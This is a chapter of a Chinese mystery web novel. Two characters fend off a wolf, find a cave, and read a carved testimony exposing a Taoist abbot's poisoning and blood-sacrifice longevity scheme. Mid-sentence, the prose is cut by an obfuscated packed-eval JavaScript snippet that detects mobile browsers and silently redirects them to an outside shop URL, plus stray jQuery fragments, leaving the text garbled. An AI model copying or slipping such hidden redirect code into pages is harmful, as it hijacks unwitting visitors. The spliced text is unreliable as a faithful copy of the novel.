叶乾循声望去,见到她面露出痛苦之色问道:“你怎么?”
“我的脚,好像扭伤了。”傅妍妤刚才虽然没有跌倒在地,但右脚却因此扭着。
起初右脚脚踝处只传来的一点点痛楚,她以为扭伤的不严重,稍稍注意下方可。谁知脚踝处的痛感愈发严重,此时里面像是有无数根银针在一次又一次地不间断似的扎刺。
眼瞅着手中的火折子火光逐渐微弱,又见到手中的罗盘是失灵的状态,叶乾想着再这样走下去也难寻到出口,便出声提议道:“要不我们就此停在这休息休息,等到天色变亮,再另寻出路,可好?”
待傅妍妤点头同意后,他先将傅妍妤扶到一处被月光照拂的地方,随后在四周找了些枯木堆成了小小木堆,再用火折子将其点燃,原本黑漆漆的四周瞬间变得明亮了许多。
黑夜中的荒山竹林,冷风习习,一阵风吹过来,叫人冷得直哆嗦。叶乾、傅妍妤两人围着火堆坐下取暖,只是温暖的火光很快就被夜晚冷风吹得忽明忽暗,导致火堆里散发出来的热气正在慢慢消散。
叶乾知道火堆中的枯木快要燃完了,便将腰间取出方才没用完的火折子重新点上,并同傅妍妤交代道:“我去别处寻点柴火。”
叶乾走后,周边变得更加寂静了起来,只能听到火堆里时不时地蹦出零星火星的声音。傅妍妤独自一人坐在火堆旁,起初并没有感受到异样,待片刻之后才有所察觉。
按照常理,人坐在火堆旁久坐,应当有热意暖身,但傅妍妤在火堆旁坐了许久,背后突然间传来一股冷意,就好似被一双凌厉的眼睛盯着般,令其萌生冷意。
她转身往后看去,黑漆漆的竹林中有一双泛着幽幽绿光的眼睛正盯着这边,其眼神中还闪烁着危险的信号。
此时叶乾还未回来,傅妍妤独自一人坐在原地,心中泛起害怕,但却不敢轻举妄动,生怕自己一动,那泛着绿光的野狼也会随之而动。
她将自己的目光慢慢瞥向别处,不与泛着绿光的狼眼对视。
与此同时,傅妍妤想到野狼畏火,便一边慢慢挪动身子更靠近火堆,一边悄悄地从火堆中寻了根粗壮的枯木紧紧地握在手中,以防野狼突然攻击。
人惧狼,狼畏火。一人一狼,相持不动。
直到叶乾的脚步声逐渐走近,打破了这个僵持的局面。
野狼闻声,立即朝走来的叶乾迅速飞扑了过去,尖锐的利齿和爪牙在微弱的月光下冒着阵阵寒光,张开的狼嘴似乎要将人狠狠撕裂了一般。
见到如此情况,傅妍妤没有半分犹豫,连忙追上前两三步,将手中紧紧握着的火把狠狠地用力对准野狼身上甩了过去。
面对突然飞扑而来的野狼,叶乾最先是被惊吓到了,但这要命的危险容不得他慢慢思考对策,全凭身体的本能求生反应将手中火折子扔向野狼。
这野狼前后都遭受火焰的攻击,炽热火焰落在灰色毛皮上。火辣辣的灼烧感,使野狼发出来阵阵惨烈而痛苦的哀嚎声。
趁着野狼仰天哀嚎之际,叶乾连忙跑到了火堆旁,将刚刚找来的枯树枝全部扔进火堆,使里面的火焰变得更加旺盛。
他随即拿起几根冒着熊熊火光的树枝,试探性地朝野狼方向晃过去。
刚刚被火攻击过的野狼,见到朝自己靠近的火光,吓得转身撒腿就朝竹林深处逃走了。
“多谢!”叶乾想起傅妍妤刚才的帮助,便转身目光看着傅妍妤,语气认真地道了句谢。
“举手之劳!”
见到野狼逃走,傅妍妤暗自松了一口气,心里头的紧张一扫而去,但仍不敢放松警惕。只见她启唇说道:“今夜,我们要换个地方休息了。”
“嗯?”叶乾疑惑地看着傅妍妤。
“狼大多数是成群结队出现,方才那狼虽被我们用火驱走,没准一会儿就带着同伴来此地寻我们报仇。”傅妍妤说出自己的担忧。
随后,叶乾将手中快要燃尽的枯树枝利落地又扔回火堆中去了,并再从火堆中找了些粗壮的树枝捆在一起做成火把。
做完这事,他自觉走到傅妍妤身边直接伸出手将她的手拉着挽上自己的胳膊,准备像来时那般扶着她走路。
“休息许久,我的体力恢复了。”傅妍妤低声说完,默默地将挽在叶乾胳膊上的手给缩了回来。
听到这话,又感受到胳膊突然一空,叶乾倒觉得自己过分主动了。他直愣愣地回了句:“好!”
如今原地不可久留,四周漆黑一片,加上罗盘又失灵了。
傅妍妤直接出声询问叶乾,想知道他是如何打算:“叶乾,我们现在朝哪里走?”
“我方才在周边捡树枝时,发现了一个洞穴。或许我们今夜可以在那里度过。”叶乾起先站在原地朝四周望了望,随后脸色淡定地回答道。
两人大约走了半刻钟的时间,叶乾才将傅妍妤带到他所说的洞穴处。洞穴不深,两人走进去,一眼便可将整个洞穴望完。这洞穴仿佛许久没有人来过,里面的墙壁旁堆满了杂草,有些地方甚至还挂着蜘蛛网。
叶乾在洞穴四周走了走,找到了一些干柴,准备重新搭个火堆。
趁着叶乾生火的时候,傅妍妤看见几处墙壁旁有些干枯的杂草,便上前去扯些过来,想着铺在地上,好让等会坐下来更舒服些。
她选了处就近的杂草丛,双手扒开,正在扯着杂草的间隙无意中抬头一瞥,发现了墙壁上刻满了文字。
“叶乾,快来看!”
傅妍妤神情激动地连忙将旁边的叶乾喊了过来,一同查看墙壁上的文字。
“这字迹娟秀端丽,撇捺舒展松弛有度,可见刻下这些字的女子幼时曾在习字上下过功夫。”
叶乾举着火把凑近见到墙壁上的字迹,随口称赞完,又出声推测道:“这女子应当力气不小,石壁刻字可不是个柔弱女子所能做到事情。”
站在旁边开始不出声的傅妍妤,突然间脱口而出:“这字是决明师姐所刻的。”
她激动间无意识地拉着叶乾的胳膊,并伸手指向墙壁上有横折笔画的文字,语气中带着肯定地解释道:“决明师姐从小在书写带横折笔画的文字时,都会在弯钩处留个小圆圈。她曾对我说过她不想她所写之字迹千篇一律,故此特意这样写之。”
“决明大夫为何会进入这个竹林,又为何会在此地刻下这些文字?”
叶乾见到傅妍妤这般肯定,心中便也认定这刻字之人是决明,于是认真
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17620069|205918||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
地细细查看墙壁上所刻的长篇文字。
此时,整个洞穴静默无声,两人就着微弱的火光一前一后地将墙壁上的文字一目十行地通读着:
道长观观主徐清,早年间投毒于连理村井水之中,致村民中毒而暴发疫症。待十余人中毒身亡,假借神意而救村民,趁机胡言造伪神,以此受村民供养。然徐清欲壑难填,今以伪神之名行谋人性命之事。不知从京州何处贵人手中偶得长生偏方:少女献祭,蛭吸蛊吸血,以血养蛊,再将蛊制成药丸,服下便可延年益寿,长生而不死。
为得少女之血,徐清佯言夜神娶妻,将女子抬至庙中,用蛊吸尽人之鲜血,再将尸体弃至村中花圃。翌日,村民问之,徐清言夜神新娘于子时飞升上天,已成方外之人。村民皆信之,故此不惊。
诸事皆是吾细细追查所知,原集齐相关证据想告知于民真相。然现已被徐清发现,逃避追杀而误闯此地。吾恐难以久活,故此将所知之事刻于此地,望有云开月出之日。
“没想到敬仙道长竟如此胆大妄为,罔顾人命!”看完傅妍妤义愤填膺地叹道。
叶乾看完之后一言不发,而是默默地转身将火把放进方才燃起的火堆之中,并在火堆旁静坐下来,眉头紧蹙,面上若有所思。
“叶乾,你在想什么?”傅妍妤见到叶乾这淡定的反应,心中不免有些诧异。
“这事与我们之前所料想得差不多,只是没有想到那敬仙道人竟是为了长生之药才编造出夜神娶妻的谎话。”叶乾冷静地说道,并阐述出想法:“决明大夫所提的证据是什么?又藏在何处?”
“师姐虽未明说证据在何处,但却言明所有被吸干血的新娘的尸身都会被遗弃在花圃。待我们出去之后,去花圃查看,或许能有所发现。”傅妍妤看着墙壁上的字迹,头脑冷静地分析道。
她站在原地,环顾洞穴四周,一副思索的模样:“决明师姐当时被人追杀而逃至此地,但吉祥客栈中的坡脚小二同我们说师姐是被当众烧死,而这满墙文字又留存至今没有被毁去,这说明师姐当时自己找到竹林出口出去。”
等傅妍妤说完,叶乾才开口接着分析道:“见这字迹深浅痕迹,力度不均,深浅不一,可知当时刻字之人当时极有可能身上有伤。我想决明大夫当时拖着伤体刻完这篇文字应当没有力气再到竹林间寻觅出口,竹林出口就在这洞穴附近,没准就在这洞穴之中。”
想到这,两人各自沿着洞穴两侧仔细查看,是否有暗道藏匿其中。
傅妍妤就着手中火把发出的微弱火光探路,纤细手指拂过洞穴那凹凸不平的石壁,时不时地屈指敲击石壁,再俯首侧耳贴近聆听石壁的声音。
如此反复几次,她在洞穴最深处的石壁那听到微乎其微的汩汩流动的水声。
“叶乾,叶乾,这里有水流声。”傅妍妤面露惊喜地笑着朝叶乾招手,将其呼喊过来。
叶乾走近,学着傅妍妤的动作姿势,侧耳贴在石壁上认真聆听。待证实石壁里面确实水流声响起后,叶乾双手都贴在石壁上面认真地触摸着每处地方。
直至摸了片刻之后,他才在这块石壁右下方底部摸到了一块十分凸起的石块,心中暗自猜测着这或许是个机关所在处。